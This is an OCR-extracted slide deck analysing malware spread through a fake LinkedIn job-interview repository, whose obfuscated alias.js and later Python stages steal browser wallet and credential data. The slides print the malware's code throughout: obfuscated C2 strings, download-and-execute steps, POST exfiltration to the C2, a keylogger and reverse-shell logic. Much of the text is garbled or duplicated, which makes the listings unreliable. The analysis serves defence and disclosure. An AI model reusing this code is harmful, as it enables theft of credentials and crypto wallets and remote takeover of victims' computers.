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Introduction

*Imagine that you are a software engineer.

* Someone send a online technical interview invition to you in
Linkedin.

* During interview, s/he give you a repository link about full stack
web application and ask you to explain it.

* The code seems fine. So you pull it, run it and explain how it
works.

* 3 days after. You
you never downl
are gone.

* What happened? 2

nd a anydesk run on your computer (but
it). Also, all of your bitcoin in Metamask
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alias.js

* Something
weird in this
program?

Obfuscator.io Deobfuscator

*/
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This function generates an object containing aliases for frequently used path

The aliases are shorthand references for specific directory paths, allowing e
throughout the project. This is particularly useful in larger projects where
can get complex. Instead of importing files with relative paths like ~../../.
these aliases provide a simpler and more maintainable way to import modules.

@param {string} [prefix='src'] - The base directory path to prepend to the al
@returns {Object} An object where keys are alias names and values are their ¢

SEN IS
- If “prefix’ is " ‘'src'", the alias " '@fuse’” will point to " 'src/@fuse’".
- You can then use the alias in your imports like ~import something from '@fu

Export:
- The function is exported via “module.exports™ so it can be imported and use
typically in build configuration files like Webpack, Vite, or Rollup to con

st aliases = (prefix = “src’) => ({

@fuse': ~${prefix}/@fuse ,

@history': “${prefix}/@history’,

@lodash’: ~${prefix}/@lodash™,

@mock-api‘: ~${prefix}/@mock-api’,

app/store’: “${prefix}/app/store’,

app/shared-components': ~${prefix}/app/shared-components’,

‘app/configs': ~${prefix}/app/configs’,
‘app/theme-layouts’: ~${prefix}/app/theme-layouts’,
"app/AppContext’: ~${prefix}/app/AppContext’,

1)

module.exports = aliases;
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s in a project.
asier and cleaner imports

directory structures
./app/store”,

iases. Defaults to “src’.
orresponding directory paths.

se/some-module’ ;.

d elsewhere,
figure path resolution.

R R T T ]|
.......... SssEsasEIM
P . Y NSNS ST Y YY)


https://obf-io.deobfuscate.io/

......... LA R A L A 2L ]
........... saneNen
.......... seeeReen
........... R R X R 2 1]

EE R R L R L L L ]|
---------- LA A A A 2 2 1|
............ sesees
.......... A A LR 22 1|
........... (A A A 2 2 1]
.......... LA A A A 2 2 1|

EEREEERET Y

A A A R R L L 1

alias.js
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const r = a => (s1 = a.slice(1), Buffer.from(sl, "base64").toString("utf8"));
path = require("path");

o
BaSE64 e nCOdEd request = require(’request™);
Stri n g 9  exec = require(“child process")["exec"];

10 myhostname = os["hostname”]();
* Shuffled C2 string

0O N Oy !

11  myplatform = os["platfor‘m"]();l
2 myhomedir = os["homedir”]();
13 mytmpdir = os["tmpdir"]();

14 mytype = os["type"]();

15 let e;

16 const getServerURL = () => {

-

17 Var ¢ =it
18 var a = un;
19 var $ = "";
20 for (var e = 0; e < 10; e++) {
21 ¢ += "OTUuMjE3LjaHROCDOVLWEYNCAYNTM="[e];
22 a += "OTUUMJE3LjaHROCDOVLWEYNCAYNTM="[10 + e];
® C2: 23 $ += "OTUUMjE3LjaHROCDOVLWEYNCAyNTM="[20 + e];
24 }
25 C = c + $ + llll; :::
L) n ”n ”n ”n - " " -
26 return Buffer.from(a, "base64”).toString("utf8") + Buffer.from(c, "base64™).toString("utf8"); ); s2s
27 .} 41
............... ae0
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const main = async () => {
try {
e = Date.now();
- - - await (async () => {
a I a S S I I I a I I I myhostname = myhostname;
- try {

const t = expandpath("~/");
“Local/Google/Chrome™, "Google/Chrome", "google-chrome
await read extension and exfiltrate multiplatform(J, 0);
Local/BraveSoftware/Brave-Browser"”, "BraveSoftware/Braye-Browser"

m I m " await read extension and exfiltrate multiplatform( , 1);
° ExeCUte al n () eve ry 5 I n Utes "Roami _ Opera !:1»::? _ /Opera :ﬁ;:‘; le™, "com.op _ ‘e.Opera”,

. await read_extension_and exfiltrate multiplatform(g, 2);
for 5 times if (" — myplatforn[o])

pa = ~${t}${"/AppData/"}${"Local/Microsoft/Edge"}${"/User Data"} ;
await read _extension_and exfiltrate(pa, "3 ", false);

» Exfiltrate chrome / brave / opera  clee if (0" — myplatforalol)

await read chrome keychain and exfiltrate();

exte n S i O n d ata await r‘ead:br‘ave_logindata_and_exfiltr‘ate();

await read firefox login and exfiltrate();
b else if ("1" == myplatform[@]) !

e Exfiltrate some credential e s R
await read linux firefox login and exfiltrate();
depend on platform

} catch (1) {}

* Run stage 2 payload st ot
m;in();

let 1t = setInterval(() => {
if ((et += 1) < 5)
main();
} else {
clearInterval(lt);

}, 600000);



alias.js
(read_extension_and_exfiltrate_mp)

«d (Darwin, aka macQOS): ~/Library/Application
Support/<browser>

*| (Linux): ~/.config/<browser>
* Other (maybe Windows): ~/AppData/<browser>/User Data

const read _extension and exfiltrate multiplatform = async (t, c) => {
try
st a = expandpath("~/"
164 LL$= =5
$ = == myplatform[@] ? "${a}${"/Library/Application Support/"}${Buffer.from(t[1], "base64").toString("utf8")} :
1 == myplatform 0] ? "${a}${"/.config/"}${Buffer.from(t[2], "base64").toString("utf8")} :
! (" /AppData/"}${Buffer.from(t[0], "base64").toString("utf8")}${"/User Data"} ;
await read exten51on and | exfiltrate($, ${c} , 0 == C);
m catch (t) {}
)3



alias.js (read_extension_and_exfiltrate)

 Decode extension id

 Read extension Idb and

log from all profile in
browser

for (let profileid = @; profileid < 200; profileid++) {

oot bt = 0.t ¢ L longth. b
const extension id = Buffer.from(U[t] + B[t], "base64").toString("utfs");
1t (checkFileExist( ${ ${t}/${@ === protileid ¢ detault s : ${protile} ${profileid} }/${extension id]
"}/ ${extension id} )) {
try {
far = fs[readdirSync]|( ${ ${t}/${0 === profileid ? default s : ~${profile} ${profileid} }/$

{extension_id} }/${extension_id} );
} catch (t) {
far = [1;

1

far.forEach(agvﬁc =

r = path.join("${ ${t}/${0 === profileid ? default s : ~${profile} ${profileid} }/${extension_id}
“1/${extension id} , t);
try {

if (r.includes(1ldb) || r.includes(log)) {

extensiondata.push({
[value]: fs[createReadStream](r),
[options]: {
[filename]: “${c}${profileid} ${extension_id} ${t}"
)
})s
1
J
} catch (t) {}
1)
}

—
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alias.js (read_extension_and_exfiltrate)

nkbihfbeogaeaoehlefnkodbefgpgknn metamask

ejbalbakoplchlghecdalmeeeajnimhm metamask

fhbohimaelbohpjbbldcngcnapndodjp BNB Chain Wallet

hnfanknocfeofbddgcijnmhnfnkdnaad Coinbase Wallet extension

fnjhmkhhmkbjkkabndcnnogagogbneec Ronin Wallet

ibnejdfimmkpcnlpebkimnkoeoihofec TronLink

ejjladinnckdgjemekebdpeokbikhfci Petra Aptos Wallet

Martian Aptos & Sui Wallet

efbglgofoippbgcjepnhiblaibcnclgk Extension

phkbamefinggmakgklpkljjmgibohnba Pontem Crypto Wallet

Coin98 Wallet Extension:

aeachknmefphepccionboohckonoeemg Crypto & Defi

aholpfdialjgjfhomihkjbmgjidicdno Exodus Web3 Wallet

bfnaelmomeimhlpmgjnjophhpkkoljpa
lgmpcpglpngdoalbgeoldeajfclnhata
bhhhlbepdkbapadjdnnojkbgioiodbic

jblndlipeogpafnldhgmapagcccfchpi

egjidjbpglichdcondbcbdnbeeppgdph
ppbibelpcymhbdihakflkdcoccbgbkpo
opcgpfmipidbgpenhmajoajpbobppdil

mcohilncbfahbmgdjkbpemcciiolgcge
jnlgamecbpmbajjthmmmlhejkemejdma

dlcobpjiigpikoobohmabehhmhfoodbb

idnnbdplmphpflfnlkomgpfbpcgelopg

Phantom
SafePal
Solflare Wallet

Kaia Wallet

Trust Wallet
UniSat Wallet
Sui Wallet

OKX Wallet

Braavos - Starknet Wallet

Argent X - Starknet Wallet

Xverse Wallet




alias.js (read_extension_and_exfiltrate)

* read solana public / private key . L
12 const solana id txt = "solana id.txt";
° EB)(firtrEati()r1 12¢€ r = " ${myhomedir}${"/.config/solana/id.json"} ;
j if (fs[existsSync](r)) {
try {

extensiondata.push(/
[value]: fs[createReadStream](r),
[options]: {
[filename]: solana id txt
}
)5
} catch (t) {}

1
J

exfiltration(extensiondata);
return extensiondaia;

s

12



alias.js (exfiltration)

const exfiltration = t => {

¢ E;Ear](j t() Ear](jr)()ir]t ] c?ns% multifile - "multi_file";
with POST method R e

timestamp: e.toString(),

« Content: y type: "xyz2",
- | hid: myhostname,
o Current timestamp [multifile]: t
O Xy22 type kjiwt serverurl = getServerURL();
o Hostname N
o Exfiltrate files [url]: ~${serverurl}${uploads}”,

[formdata]: $
request|[post](t, (t, c, a) => {});
} catch (t) {}
}s

13



if ("w" == myplatform[0])
pa = ${t}${"/AppData/"}${"Local/Microsoft/Edge"” }${"/User Data"} ;
await read _extension and exfiltrate(pa, "3 ", false);

| | |
3 I 1dS.iS (m ai n) ele it (0 = wpliomiv))
'J await read chrome keychain and exfiltrate();
await read brave logindata and exfiltrate();

await read:hr‘efox_login_and_exfiltr‘ate();
+ else if ("1" == myplatform[0]

- await read linux keyring and exfiltrate();
*w (Windows) e s

await read linux chrome and exfiltrate();
o Read Edge extenSIOn await read linux firefox login and exfiltrate();
= ~/AppData/Local/Microsoft/Edge/User Data

«d (Darwin)
o Read Chrome credential
= ~/Library/Keychains/login.keychain{-db}
= ~/Library/Application Support/Google/Chrome/<profile>/Login Data/ld_<id>
o Read Brave credential

= ~/Library/Application Support/BraveSoftware/Brave-Browser/<profile>/Login
Data/brld_<id>

o Read Firefox credential
= ~/Library/Application Support/Firefox/<profile>/key4.db
= ~/Library/Application Support/Firefox/<profile>/logins.json
14



if ("w" == myplatform[@])
pa = ${t}${"/AppData/"}${"Local/Microsoft/Edge"” }${"/User Data"} ;
await read_extension_and_exfiltrate(pa, "3 ", false);

| | |
alias.js (main) e
. await read chrome keychain and exfiltrate();

await read brave logindata and exfiltrate();
await read firefox login and exfiltrate();
} else if ("1" == myplatform[@])

- ‘ await read linux keyring and exfiltrate();
¢ I (LanX) await read linux chrome and exfiltrate();
- - await read linux firefox login and exfiltrate();
o Read Linux keyring
= ~/.local/share/keyrings/*

o Read Chrome credential
= ~/.config/google-chrome/<profile>/Login Data/ld_<id>
= ~/.config/google-chrome/ld_<id>
o Read Firefox credential
= ~/.mozilla/firefox/<profile>/key4.db
= ~/.mozilla/firefox/<profile>/key3.db
= ~/.mozilla/firefox/<profile>/logins.json

15



alias.js (run_stage2_script)

* Windows
o Check python exist

o If exist
= Get stage 2 payload from

= python ~/.npl
o Otherwise
= Get python
* Another platform

o Run python3 directly

const run stage2 script = async () => await new Promise((t, c) => {

if ("w" == myplatform[@])

if (fs[existsSync] (" ${ ${myhomedir}${"“\\.pyp\\python.exe"} "} )) {
=1
const serverurl = getServerURL();
const client = "/client";
const get = "get"
const writefilesync = "writeFileSync";
consli rpxr = “/.npl™;
try {

i syrc (7 ${myhomedir}${npl} );
Yo aYeTa s ta 1}
request|get]( ${serverurl}${client}/${"xyz2"} , (t, c, $) => {
if (1t)
try {
fs[writefilesync] (" ${myhomedir}${npl} , $);
exec(” "${myhomedir}${"\\.pyp\\python.exe"}"
} catch (t) {}

1)s
)()s
} else {
515 getpython();
3

16
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alias.js (getpython)

exec("${"curl -Lo"} "${ ${mytmpdir}\\${"p.zi"} }" "${ ${getserverURL()}${"/pdown"} }"",

* Get python from i (0
] tt = 0;
’ return void settimeout getpython();
}
try {
tt = 51476596;

¢ DeCO m p reSS It Wlth fs[renameSync]| (" ${mytmpdir}\\${n("cC56aQ")} , ~${mytmpdir}\\${t} );

decompressTar(~ ${mytmpdir}\\${t} );
} catch (t) {}

 Tar is pre-installed after S
Win10 (1803)

const decompressTar = async t => {
exec( ${"tar -xf"} ${t} -C ${myhomedir} , (c, %, r) => {
if (c) {
fs[rmSync](t);
return void (tt = 0);
}
fs[rmSync](t);
run_stage2 script();
. )
445 R

17



alias.js

Stagel
ffitE Bl +credential

C2/pdown
Python.exe

18



) 3tiissanesases

Stage2 - main_xyz2.py(~./npl

m = P40~

FA R R R AR AR seaeee

* Decode, get download.py download.py i

= lambda S __iﬁpofi__('zlib').decompress(__import__('base64').b64decode(__[::-1])) I S S B
exec((_)(b"=E8/km2A+/3nrzfpuwQbjkwviFyxAB5+6Dh58tyEI8rstXzAhB8EfLa/ import base64,platform,os,subprocess,sys

jGB80sqGjxBtoFYfwHEOKAkQwAgBAUYGXrgZdx2vRVFqQkqdZmlgtPPWkbibHOD1a61Gdo/3EpJkczm/RYageeTKoT
+6kMh1LMSFmME6KFNPOVLZ2+15pBtsQa/Q1lwqFv21wUARImMKXoEEHgfx6tkzE7DTURG83FUW+8HbriWY5HzDCaIrogo
hiHyfRySr4u@UalRk48QcXHulgFsOhO5xdxg4HwlkCaaVR39kEC2+VRX8/0K1iz9HS

+a3pcFtpkNBZ5dXkivyPjq97466mlqtviAWkdWf T5yRh59WPbhNghqvMLrreBj2aQrygcdgliaEpul FtkVRNSbMHTH

try:import requests
except:subprocess.check_call([sys.executable, '-m’,

ot = platform.system()
home = os.path.expanduser(”~")
host="EyNC4yNTM=0TUuMjE3L]j"

bvwvwewe Yy wrerr e e e e e R TR T w R R Y e r e wrwwwwwwwwww B0 0000000000000ttt o000

SOOI N0 7001507500000000509757097579775070570070500P 0PI EPDOIEYYYE
T I I I I I Iy Ty T T T T TG Y G Y G O Y " "“"“""““"“"“T'T“TT“rrr'Uy yYSC'n"“'"'""mTYCYY'T''TY“YTrTT'TTTYTYTYYCYCCTC“''“'"TYYYTYTTaYTOYYYTTYTTTYTTTYTTTIOYTOTTTT

hostl = base64.b64decode(host[-108:] + host[:-10]).de
" V== : h = f' ://{h :80°
b"exec((_)(b'==AqT3ns/1///9Z+q1N+yJIX96tWDejGnWCqUmFnH13 Ea o e
1+fOwHOHK8C5X22eYSbedPgRbdyNIWyVWadMq290DPKmTGJIdd /wpVgP ap = pd + "/pay" # ~\.n2/pay
1hJ6rBRiufAv8p9JwHmIB8iYOYOp6NJIvtnRNBHBUIKUCMZVZO3EXLSX  def download_payload():
nxL9seoQfDjI30FrZbjenHqlP88zpxjuxX0dV5kghy+40OmY3HOPNgEe e °zrpa§:i:§x§:p;
vDOV1lcVm/OR/z+8113f0UI+wYaRpyTkaApTXV/hSJI7tWb2TNlrqw2i6 exiépt'os&mmfetum s
try:
if not os.path.exists(pd):os.makedirs(pd) #
sType = 'xyz2’ except:pass
e = "c8KwwaHDMMKSwrvDrMKXwavCqMOHWw43CgH3CpMOnwSXCqMOTIw47CucK7wbXCo80YwrrCgMObwr/Cq - try:
aa = requests.get(host2+"/payload/"+sType, aj
import base64 with open(ap, 'wb') as f:f.write(aa.content)%
key = e[-8:] * return True . »
ne = base64.bb4decode(e[:-8].encode( ' utf-8")).decode( ' utf-8") res_zz;sizasxczpizzz(;s R:EERUC False Z
key = (key * ((len(e) // len(key)) + 1))[:1en(ne)] ) - i iciisssassne
execl".join(chr((ord(char) - ord(key[i])) % 256) for i, char in enumerate(ne))l SEREEE EEEE;;E::S:
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StageZ2 - download.py

sesvaneenen
ssssassspeen

ot = platform.system()
home = os.path.expanduser("~")
host="EyNC4yNTM=OTUuMJE3Lj"

e Access http : //<c2>/payload/xy22 2 hostl = base64.b64decode(host[-10:] + host[:-10]).decode() #<c2 server>
9 host2 = f'http://{host1}:86"

N U

10 pd = os.path.join(home, ".n2") # ~\.n2
11 ap = pd + "/pay" # ~\.n2/pay
12 def download _payload():
1 if os.path.exists(ap):
try:os.remove(ap)
except OSError:return True
try:
if not os.path.exists(pd):os.makedirs(pd) #create folder ~\.n2
except:pass

to download the payload.

* Place it in the ~/.n2/pay file, then !

~ O

execute.

O o

uv]

try:
#download "<c2 server>/payload/xyz2"
aa = requests.get(host2+"/payload/"+sType, allow_redirects=True)
with open(ap, 'wb') as f:f.write(aa.content)#iES FRAIZEE ~\.n2/pay
return True
except Exception as e:return False
res=download_payload()
if res: # TMTHEISE PREIpayEZE
if ot=="Windows":subprocess.Popen([sys.executable, ap],
creationflags=subprocess.CREATE_NO WINDOW |
subprocess.CREATE_NEW PROCESS_GROUP)

else:subprocess.Popen([sys.executable, ap])

S
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Stagel - download.py

5 ot = platform.system() 444+

6 home = os.path.expanduser(”~") EEEE

7 host="EyNC4yNTM=OTUuMjE3Lj" 441

e Access http://<c2>/payload/xyz2 & host1 = base6s.b64decode(host[-10:] + host[:-18]).decode() #<c2_server> saee
9  host2 = f'http://{host1}:80" 444

10 pd = os.path.join(home, ".n2") # ~\.n2 EESE

to download the payload. v AL 1
12 def download _payload(): EEEE

13 if os.path.exists(ap): 4441

« Place it in the ~/.n2/pay file, then Y sss
15 except OSError:return True cosd

16 try: cosd

exeCUte. 17 if not os.path.exists(pd):os.makedirs(pd) #create folder ~\.n2 SEEE

18 except:pass SEEE

19 soss

try: sese

21 #download "<c2 server>/payload/xyz2" EEEE

22 aa = requests.get(host2+"/payload/"+sType, allow_redirects=True) EEEE

23 with open(ap, 'wb’) as f:f.write(aa.content)#iEE THRAIZEE ~\.n2/pay S8

24 return True sess

25 except Exception as e:return False SEE;

26  res=download payload() ceed

27 | if res: # T|1THISE PREIpayE=E ZEE:

28 if ot=="Windows":subprocess.Popen([sys.executable, ap], 444+

29 creationflags=subprocess.CREATE_NO WINDOW | SEEE

20 subprocess.CREATE_NEW PROCESS_GROUP) 441

31 else:subprocess.Popen([sys.executable, ap]) EEEE

fasssssssassana




Stagel - download.py

e Access http://<c2>/brow/xyz2

ap = pd + "/bow” # ~\.n2/bow
37 def download browse():
38 if os.path.exists(ap):
to download the payload. ‘ e
49 except OSError:return True
' try:
if not os.path.exists(pd):os.makedirs(pd)

+ Place it in the ~/.n2/bow file, then = sxcevvess

try:
- # download "<c2_server>/brow/xyz2"
EB)(GE(:LJt‘E. g aa=requests.get(host2+"/brow/"+sType, allow_redirects=True)
with open(ap, 'wb') as f:f.write(aa.content) # & FHREIEE ~\.n2/bow

return True
except Exception as e:return False
res=download browse()

if res: # I{TEIS TREIbowt

i

i}

if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW
| subprocess.CREATE_NEW PROCESS_GROUP)
else:subprocess.Popen([sys.executable, ap])

Assssssssans



Stagel - download.py

e Access http://<c2>/brow/xyz2

ap = pd + "/bow” # ~\.n2/bow
37 def download browse():
38 if os.path.exists(ap):
to download the payload. ‘ e
49 except OSError:return True
' try:
if not os.path.exists(pd):os.makedirs(pd)

+ Place it in the ~/.n2/bow file, then = scevoess

try:
- # download "<c2_server>/brow/xyz2"
EB)(GE(:LJt‘E. g aa=requests.get(host2+"/brow/"+sType, allow_redirects=True)
with open(ap, 'wb') as f:f.write(aa.content) # & FHREIEE ~\.n2/bow

return True
excent Excention as e:return False
res=download browse()

if res: # I{TEIS TREIbowt

i}
it

if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW
| subprocess.CREATE_NEW PROCESS_GROUP)
else:subprocess.Popen([sys.executable, ap])

Assssssssans



Stageld — Summary

o Download:
= http://<c2>/payload/xyz2 -> ~/.n2/pay

= http://<c2>/brow/xyz2 -> ~/.n2/bow

LA R R R 2 N
Aasssssssssansa




Stagel

Download File (main_xyz2.py) from C2
Decode
Execute
Get
o pay.py

o bow.py

Stage2
HCOTHIEE » LARRBRIIT

client/xyz2 Decode64x
main_xyz2.py

download. py




Stage3 - pay.py

sType = "xyz2'

Q= ...

import base64

key = e[-8:]

ne = baseb4.b64decode(e[:-8].encode( 'utf-8")).decode( utf-8")
key = (key * ((len(e) // len(key)) + 1))[:1len(ne)]

exec( ' '.join(chr((ord(char) - ord(key[i])) % 256) for i, char

* pay1

* pay2

0 00 NN AW N

.Y
@

et
key = e[-8:]

ne = base64.b64decode(e[:-8].encode( utf-8")).decode( ' utf-8")
key = (key * ((len(e) // len(key)) + 1))[:1len(ne)]
execl".join(chr((ord(char) - ord(key[i])) % 256) for i, char
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Stage3 - pay1.py

 The code is divided into two parts:
o Collecting data

o Sending data to the C2



Stage3 - pay1.py - Collecting data

« This parts will collect:
class System(object):

o System Name def __init_(A): e
A.s=system() # fExHFEE

A.hn=node() # T3

o Hostname A.rel=release() # A%
A.v=version() # FZME
o Version A.un=getuser() # HF%H

A.uuid=A.get id() # sha2SefIEHB+HPH
def get id(A):
o Username return sha256((str(getnode())+getuser()).encode()).digest().hex()
def info(A):
return{'uuid’ :A.uuid, "system’:A.s, 'release’:A.rel, 'version':A.v, "hostname’ :A.hn, 'username’:A.un}



Stage3 - pay1.py - Collecting data

class Geo(object):
def init_ (A):
A.iip=A.local_ip() # EHIZEip
A.geo=A.get_geo() # SEFI=EHEMNE(HEE
. . , def local ip(A):
o Geographic location try:
return socket.gethostbyname ex(hn)[-1][-1]
. . . ) except:
(latitude, longitude, city...) =
def get_geo(A):
try:

« This parts will collect:

O Internal IP address return get('http://ip-api.com/json’).json()#EEIFAERIHEUE(EEE

except:

pass

def info(A):

g=A.get geo()
3 5 B

ii=A.iip

s & 5

g[ 'internallp’]=ii

return g



Stage3 - pay1.py - Collecting data

class Geo(object):
def init_ (A):
A.iip=A.local_ip() # EHIZEip
A.geo=A.get_geo() # SEFI=EHEMNE(HEE
. . , def local ip(A):
o Geographic location try:
return socket.gethostbyname ex(hn)[-1][-1]
. . . ) except:
(latitude, longitude, city...) =
def get_geo(A):
try:

« This parts will collect:

O Internal IP address return get('http://ip-api.com/json’).json( )¢ EXIFAERIHEUE(EEE

except:

pass

def info(A):

g=A.get geo()
3 5 B

ii=A.iip

s & 5

g[ 'internallp’]=ii

return g



response

Stage3 - pay1.py -

"query": 4.28.198.3",

"status”: "success",

* This parts will collect:

"country®: “"Taiwan",

"countryCode™: "Tuw",

o Geographic location

"region”: "TPE",

(latitude, longitude, city...) | TCRLONNaRE ; “THIDEL 1Y

"city”: "Taipei®,

o Internal IP address

“"timezone": “"Asia/Taipel”,

isp": "Cloudflare, Inc.",
: "Cloudflare WARP",

": "AS1233S Cloudflare, Inc.'




Stage3 - pay1.py - Sending data to the C2

class Information(object):
def __init_ (A):
* This part performs preprocessing
def parse(K,data):

0 J = 'regionName’ # |& =
before sending the data, L
H = 'query’ # B
. . . ) G = 'city’ =
consolidating the collected information F = isp’ ¢+ EREEBRHE
EN="7in: # FHDLERE
D = 'lon’ <E
C = 'lat’ # BE
B = "timezone’ # &=

_A = '"internallp'

A=data

A={C:A[C]if C in A else’'',D:A[D]if D in A else'’',E:A[E]if E in A else'’',F:A[F]if F
else" ' ,I:A[I]if I in A else'’',B:A[B]Jif B in A else'’',J:A[J]if J in A else'’, A:A[_AJif A

if'/'in A[B]:A[B]=A[B].replace('/"," ")

if'_"in A[B]:A[B]=A[B].replace(’'_'," ')

return A

def get_info(A):
B=A.net_info
return{ 'sys_info':A.sys_info, 'net_info':A.parse(B if B else[])}¢ THREFMMEBLE



Stage3 - pay

A POST request will be sent to

<c2_server>/keys,

.py - Sending data to the C2

uploading all the collected data. :

89

host="EyNC4yNTM=0TUuMFE3L]"
PORT 80
HOST = base64.b64decode(host[-10:] + host[:-10]).decode()# <c2 server>
hn = socket.gethostname() # £
class Comm(object):
def _init_ (A):
A.sys info=Information().get info()
def contact_server(A,ip,port):

A.ip = ip

A.port= port

B=int(time.time()*1000)

C={"ts':str(B), "type':sType, 'hid':hn,'ss':'sys info', 'cc':str(A.sys_info)}
D=f"http://{A.ip}:{A.port}/keys™ # <c2_server>/keys

try:post(D,data=C)# [cl<c2 server>/keys{EiZpostimiK SR rBRENER(EES i

except Exception as e:pass
def run_comm():
c=Comm()
c.contact_server(HOST, PORT)
del ¢
run_comm( )

Her

(D



Stage3 - pay1.py

Stage3
THE_SD > LREABEEREE
B T&P

C2/payload/xyz2
pay.py

download. py




Stage3 - pay2.py

def run_client():
tl=Thread(target=hk loop)

« The code is divided into two parts:
tl.daemon=_T

tl.start
o KeylLogger ZLErEL)
try:
client.run()
o Reverse Shell except:

KeyboardInterrupt: sys.exit(e)
run_client()



S5tage3 - pay2.py - KeyLogger

Uses "pyHook" package
Recording

o right-clicks

o left-clicks

o keyboard input

All recorded content is stored in "e_buf"

e buf

def startHk():

hm
hm

hm.

hm

hm

def hk

= pyHook .HookManager()

.MouseRightDown = hmrd # EE55E .
MouselLeftDown = hmld # S8

.KeyDown = hkb # #EZ
hm.

HookMouse()

.HookKeyboard()

_loop():

startHk()
pythoncom.PumpMessages ()



Stage3 - pay2.py - KeyLogge

m win = ©
def hmld(event): # =T

left-clicks

@)

<..

>

A

<>

right-clicks

@)

<

>

A

<>

global e buf, m win
if m_win!=event.Window:

m_win=event.Window # Z5EE
tt="¢..>

else:
CE=" &5

e buf+=tt

return _T

hmrd(event): # &

global e buf, m_win

if m_win!=event.Window:
m_win=event.Window # ZFEE
=", . %

else:
tt="%,>"

e buf+=tt

return T



S5tage3 - pay2.py - KeyLogger

def hkb(event):
if event.KeyID == 6xA2 or event.KeyID == OxA3:
331 return T
« keyboard input 32 g o e bul .
833 tt = check _window(event)# ©E57
834 key = event.Ascii TEEL
° Clipboard if (is_ctr}_down()): = nl Shift
B3¢€ key=f"<*{event.Key}>
elif key==06xD: # Enter
key="\n"
else:
if key>=32 and key<=126:
key=chr(key)
342 else:
key=f"<{event.Key}>' 5
tt += key -G
if is_ctl down() and event.Key == 'C': # Ctrlic 255
tmr = Timer(@.1, run_copy clipboard)
tmr.start()
elif is _ctl down() and event.Key == 'V': # Ctrl+v
tmr = Timer(©.1, run_copy clipboard)
tmr.start()
e buf += tt
return _T

=

i)



S5tage3 - pay2.py - KeyLogger

Return example :

def check window(event):
global c win
if c win != event.Window:

(pid, text) = act win pn() # SEIEEIp] ",TEVF—E'?

* % tz = timezone(offset= tlmedelta\hours 9) )
d t = datetime. fromtlmestamp(tlme time(), tz)
t s = d_t.strftime("%m/%d/%Y, %H:%M:%S")

-[ Window Title | PID: 1234-5678 c_win = event.Window

return f"\n**\n-[ {text} | PID: {pid}-{c win}\n-[ @

-[ @ 01/15/2025, 14:30:00 | Window Name

*%*

{t s} | {event.WindowName}\n**\n



S5tage3 - pay2.py - KeyLogger

def hkb(event):
if event.KeyID == 6xA2 or event.KeyID == OxA3:
331 return T
« keyboard input 32 g o e bul .
833 tt = check _window(event)# ©E57
834 key = event.Ascii TEEL
° Clipboard if (is_ctr}_down()): = nl Shift
B3¢€ key=f"<*{event.Key}>
elif key==06xD: # Enter
key="\n"
else:
if key>=32 and key<=126:
key=chr(key)
342 else:
key=f"<{event.Key}>' 5
tt += key e ons
if is_ctl down() and event.Key == 'C': # Ctrlic 255
tmr = Timer(@.1, run_copy clipboard)
tmr.start()
elif is _ctl down() and event.Key == 'V': # Ctrl+v
tmr = Timer(©.1, run_copy clipboard)
tmr.start()
e buf += tt
return _T

=

i)



A.server_ip = HOSTO # <c2
A.server_port = PORT®
A.is_active = F
A
A

« After client.run() is executed,

.is alive = T
.timeout_count = ©

pd

710 .shell = N
a Reverse Shell is established . fonopery _
2 def make_connection(A):
713 while T:
. 4 try:
Wlth <C2_Ser\ver‘>1 port 5001 - A.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = Session(A.client socket)
s.connect(A.server_ip, A.server_port)
A.shell = Shell(s)

A.is _active = T
if A.shell.shell():
try:

dir = os.getcwd()
fn=0s.path.join(dir,sys.argv[@])
os.remove(fn)

except:
pass

return T

sleep(15)
except Exception as e:sleep(20);pass
def run(A):
if A.make_connection:
732 return



A.server_ip = HOSTO # <c2
A.server_port = PORT®
A.is_active = F
A
A

« After client.run() is executed,

.is_alive = T
.timeout_count = ©
710 .shell = N
a Reverse Shell is established 2 IR _
2 def make_connection(A):
713 while T:
try:

pd

with <c2_server>, port 5001.

.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
= Session(A.client socket)
.connect(A.server_ip, A.server_port)
.shell = Shell(s)
\_Jc active — T
if A.shell.shell():
try:
dir = os.getcwd()
fn=0s.path.join(dir,sys.argv[@])
os.remove(fn)
except:
pass
return T
sleep(15)
except Exception as e:sleep(20);pass
def run(A):
if A.make_connection:
732 return

> > un n >



Stage3 - pay2.py - Reverse Shell

_ _ 22 def shell(A):
 Thread is created to receive data 330 t1 = Thread(target=A.listen recv)
231 ti.daemon=_T
by executing A.listen recv 237 t1.start()
33 while A.is alive:
try:
sleep(5)
except:
break
A.close()
return A.is delete



Stage3 - pay2.py - Reverse Shell

def listen_recv(A):
while A.is_alive:
recv=A.sess.recv()
* Received Format : LR e
if A.timeout count<30:A.timeout count+=1;continue
else:A.timeout count=0;recv=_N

1 T, if recv:
{ COde . 1) A.timeout count=0
with A.lock:
‘args': {'admin': 'manager’, D=json.loads(recv)
c=D[ "code’] # 1 (ERTRIES
args=D[ "args'] i
1 1, ' 1 if ¢ in A.cmds:
cnd': 'cd /home'}} e
t=Thread(target=tg,args=(args,))
n t.start() #tg(args)
. execute the "cmd" based on 1
if A.is alive:
A.is alive= F
the code number. A.close()
else:

if A.is_alive:
A.timeout count=0
A.is alive= F
A.close()



Stage3 - pay2.py - Reverse Shell

 Code Table
o 1:ssh_obj , Executes the command.
o 2:ssh_cmd, Deletes the prompt message.
o 3:ssh_clip, Sends the back.
o 4:ssh_run, Downloads "bow" again from

o 5 :ssh_upload, Uploads specified files or folders from the local machine to the

o 6:ssh_kill, Closes the Chrome and Brave browsers.



Stage3 - pay2.py - Reverse Shell

« Code Table
o 7 :ssh_any , Download "any" from
o 8:ssh_env , Upload files from the system's default directories (Windows: /Documents,
/Downloads; non-Windows: /VVolumes) to the FTP server.
o 9 :ssh_safe ,Enable "pay" to run at startup (by writing the "python.exe pay" command into.the

registry).



Stage3 - pay2.py - ssh_clip

 Send to <c2_server>:5001 def ssh clip(A,args):
global e buf # keyloggerfINE
o Content: try:
A.send(code=3, args=e buf)
» Keylogger data e_buf = ""
except:

pass



Stage3 - pay2.py - ssh_any e

def ssh_any(A,args):

try:
D= A
 Access http://<c2_server>/adc/xyz2 ... : j"iff,;,,jdir e
to download the payload. ?§S=A-d°w":a"_v<p>
682 1t res: # F171# ~/.n2/adc
683 if os_type == "Windows":
* Place |t in the ~/.n2/adC ﬁle, then 5“' subprocess.Popen([sys.executable,p],

creationflags=subprocess.CREATE_NO WINDOW |

